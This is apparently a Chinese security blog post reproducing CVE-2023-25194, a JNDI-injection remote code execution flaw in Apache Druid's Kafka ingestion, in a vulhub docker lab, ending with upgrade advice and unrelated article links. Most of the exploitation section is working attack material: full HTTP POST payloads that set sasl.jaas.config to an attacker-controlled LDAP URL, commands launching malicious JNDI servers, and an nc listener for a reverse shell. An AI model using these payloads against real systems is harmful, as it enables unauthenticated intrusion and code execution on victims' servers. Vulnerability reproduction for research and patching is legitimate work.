Apache Druid RCE漏洞复现及修复(CVE-2023-25194)

2023-03-16

声明:本文分享的安全工具和项目均来源于网络,漏洞环境本地搭建,仅供安全研究与学习,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。

瓜神学习网络安全

本公众号记录网络安全学习笔记
公众号

产品简介

Apache Druid是一个高性能的实时大数据分析引擎,支持快速数据摄取、实时查询和数据可视化。它主要用于OLAP(在线分析处理)场景,能处理PB级别的数据。Druid具有高度可扩展、低延迟和高吞吐量的特点,广泛应用于实时监控、事件驱动分析、用户行为分析、网络安全等领域。通过使用Druid,企业和开发者可以快速获得实时分析结果,提升决策效率。

漏洞简介

在Apache Druid使用Apache Kafka加载数据的场景下,未经身份认证的远程攻击者可配置Kafka连接属性,从而利用CVE-2023-25194漏洞触发JNDI注入,最终执行任意代码。(其他使用Apache Kafka Connect的产品也可能受CVE-2023-25194漏洞影响)

 

影响范围

  • 0.19.0 <= Apache Druid <= 25.0.0

危害级别

  • CVE-2023-25194

    QVD-2023-9629

漏洞复现

安装环境-docker部署

用的github 的vulhub:

https://github.com/vulhub/vulhub/blob/master/kafka/CVE-2023-25194/README.zh-cn.md

执行如下命令启动一个Apache Druid 25.0.0服务,其内部使用的kafka-clients版本是3.3.1:

[root@VM-4-17-centos CVE-2023-25194]# docker-compose up -dStarting cve202325194_web_1 ... done[root@VM-4-17-centos CVE-2023-25194]#

服务启动后,访问http://your-ip:8888即可查看到Apache Druid主页。

复现步骤1、检测:访问漏洞环境:


抓包

dnslog检测:

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host: vps:8888Content-Length: 1400Accept: application/json, text/plain, */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Content-Type: application/jsonOrigin: http://vps:8888Referer: http://vps:8888/unified-console.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: pZaf_2132_ulastactivity=050484OuqAxDqETcOja26QKgFkE4HbrlSk4NbAkGRg9oNLIbkCUN; pZaf_2132_nofavfid=1; pZaf_2132_smile=1D1; pZaf_2132_home_readfeed=1682214968; pZaf_2132_lastviewtime=1%7C1682215445; pZaf_2132_lastcheckfeed=1%7C1682217817; kOJf_2132_saltkey=MGWItu8r; kOJf_2132_lastvisit=1683339017; kOJf_2132_ulastactivity=27e4qsFumyqDRGo03vcLLEHChJmZRharD1jfbUJnU1NIIIrbB8UL; kOJf_2132_nofavfid=1; kOJf_2132_lastcheckfeed=1%7C1683342726; PHPSESSID=3543e022151ed94117e84216Connection: close
{    "type":"kafka",    "spec":{        "type":"kafka",        "ioConfig":{            "type":"kafka",            "consumerProperties":{                "bootstrap.servers":"127.0.0.1:6666",                "sasl.mechanism":"SCRAM-SHA-256",                "security.protocol":"SASL_SSL",                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://nhagk5.dnslog.cn\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"            },            "topic":"test",            "useEarliestOffset":true,            "inputFormat":{                "type":"regex",                "pattern":"([\\s\\S]*)",                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",                "columns":[                    "raw"                ]            }        },        "dataSchema":{            "dataSource":"sample",            "timestampSpec":{                "column":"!!!_no_such_column_!!!",                "missingValue":"1970-01-01T00:00:00Z"            },            "dimensionsSpec":{
            },            "granularitySpec":{                "rollup":false            }        },        "tuningConfig":{            "type":"kafka"        }    },    "samplerConfig":{        "numRows":500,        "timeoutMs":15000    }}

2、利用:首先,使用JNDIExploit启动一个恶意的JNDI服务器:


[root@VM-4-17-centos JNDIExploit1.4]# java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i your vps ip[+] LDAP Server Start Listening on 1389...[+] HTTP Server Start Listening on 3456...

2.1命令执行:/touch shell.txt

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1Host:192.168.211.129:8888Accept-Encoding: gzip, deflateAccept: */*cmd:lsAccept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: application/jsonContent-Length: 1434
{    "type":"kafka",    "spec":{        "type":"kafka",        "ioConfig":{            "type":"kafka",            "consumerProperties":{                "bootstrap.servers":"127.0.0.1:6666",                "sasl.mechanism":"SCRAM-SHA-256",                "security.protocol":"SASL_SSL",                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.211.129:1389/Basic/Command/touch shell.txt\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"            },            "topic":"test",            "useEarliestOffset":true,            "inputFormat":{                "type":"regex",                "pattern":"([\\s\\S]*)",                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",                "columns":[                    "raw"                ]            }        },        "dataSchema":{            "dataSource":"sample",            "timestampSpec":{                "column":"!!!_no_such_column_!!!",                "missingValue":"1970-01-01T00:00:00Z"            },            "dimensionsSpec":{
            },            "granularitySpec":{                "rollup":false            }        },        "tuningConfig":{            "type":"kafka"        }    },    "samplerConfig":{        "numRows":500,        "timeoutMs":15000    }}

进入容器查看命令执行成功

docker exec -it 1e453483411a   /bin/bash

getshell:

启用监听

nc-lvvp 8111

使用NDI-Injection-Exploit启动一个恶意的JNDI服务器:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反射shell命令(需要bash编码)"  -A ip

反弹shell成功

修复建议

目前官方已有可更新版本,建议受影响用户升级至:Apache Kafka 3.4.0及以上版本。

暂时无法升级的用户可通过验证Kafka Connect连接器配置,仅允许受信任的JNDI配置来缓解此漏洞。

工具原链接

https://github.com/welk1n/JNDI-Injection-Exploit

关注公众号回复“JNDI-Injection-Exploit”可下载jdk1.8编译后的jar包

Apache Druid RCE漏洞复现及修复(CVE-2023-25194)的更多相关文章

  1. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  2. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  3. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  4. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  5. Apache Shiro反序列化漏洞复现

    Apache Shiro反序列化漏洞复现 0x01 搭建环境 获取docker镜像 Docker pull medicean/vulapps:s_shiro_1 重启docker system res ...

  6. Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

    0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...

  7. Apache Tomcat Ajp-CVE-2020-1938漏洞复现

    环境搭建: sudo docker pull duonghuuphuc/tomcat-8.5.32 sudo docker run -d -it -p 8080:8080 -p 8009:8009  ...

  8. [Shell]CVE-2019-0708漏洞复现及修复补丁

    0x01 漏洞原理 Windows系列服务器于2019年5月15号,被爆出高危漏洞,该漏洞影响范围较广,windows2003.windows2008.windows2008 R2.windows 7 ...

  9. Solr 8.2.0最新RCE漏洞复现

    漏洞描述 国外安全研究员s00py公开了一个Apache Solr的Velocity模板注入漏洞.该漏洞可以攻击最新版本的Solr. 漏洞编号 无 影响范围 包括但不限于8.2.0(20191031最 ...

  10. Apache Shiro 反序列化漏洞复现(CVE-2016-4437)

    漏洞描述 Apache Shiro是一个Java安全框架,执行身份验证.授权.密码和会话管理.只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞. 漏洞原理 A ...

随机推荐

  1. 跟着蚂蚁走,它们知道路:用 ACO-ToT 增强 LLM 推理能力

    跟着蚂蚁走,它们知道路:用 ACO-ToT 增强 LLM 推理能力 利用群体智能和思维树优化解锁高级 AI 推理能力 Salvatore Raieli 作者使用 AI 生成的图片 "我发现, ...

  2. Q:oracle如何查询表和视图的等修改时间和创建时间?

    要查询表的修改时间,可以使用以下SQL语句: SELECT object_name, object_type, created, last_ddl_time FROM user_objects WHE ...

  3. Q: 远程ssh登录不上

    1.密码没有问题 .2.防火墙没有禁用端口.3.ssh服务已安装且开启一般是ssh配置文件问题打开ssh配置文件 vim /etc/ssh/sshd_config ################## ...

  4. 《刚刚问世》系列初窥篇-Java+Playwright自动化测试-14- iframe操作-下篇(详细教程)

    1.简介 通过前边两篇的学习,想必大家已经对iframe有了一定的认识和了解,是不是感觉和Python语言中的差不了多少,大同小异,最多就是不同开发语言的一些语法差异.今天这一篇主要是对iframe做 ...

  5. 在windows主机本地快速部署使用deepseek-r1大模型

    一台配备 Windows 操作系统.12GB 或以上显存的英伟达显卡.8GB 或以上内存,并能连接互联网的电脑可以继续阅读以下内容. 简介 Ollama(用于下载和启动大模型) Ollama 专注于本 ...

  6. @Scheduled参数及cron表达式解释

    @Scheduled支持以下8个参数:1.cron:表达式,指定任务在特定时间执行:2.fixedDelay:表示上一次任务执行完成后多久再次执行,参数类型为long,单位ms:3.fixedDela ...

  7. docker - [13] docker网络

    smo smo smo "狂神" omz omz omz 一.理解网络 本机回环地址:127.0.0.1,本机IP地址:192.168.2.131,docker地址:172.17. ...

  8. hgame2025-Crypto小记

    hgame2025-Crypto小记 发现积压在文件夹有一段时间了.整理一下发出来. suprimeRSA task.py from Crypto.Util.number import * impor ...

  9. 【Python&Hypermesh】ABAQUS导入网格,并在Part内保留SET

    在Hypermesh定义好set,划分好网格以后,可以导出为INP.然后在ABAQUS导入inp,就可以得到网格.但是这样倒进来的网格一般有两个问题: 网格全在一个部件里,原来定义好的Set会出现在装 ...

  10. 【ABAQUS后处理】打印视口到文件

    abaqus cae 允许您在画布上打印一个或多个视口的快照,并将图像直接发送到打印机或文件以供以后使用,例如包含在嵌入打印报告的演示文稿中或以 html 格式显示document 打印的图像将在画布 ...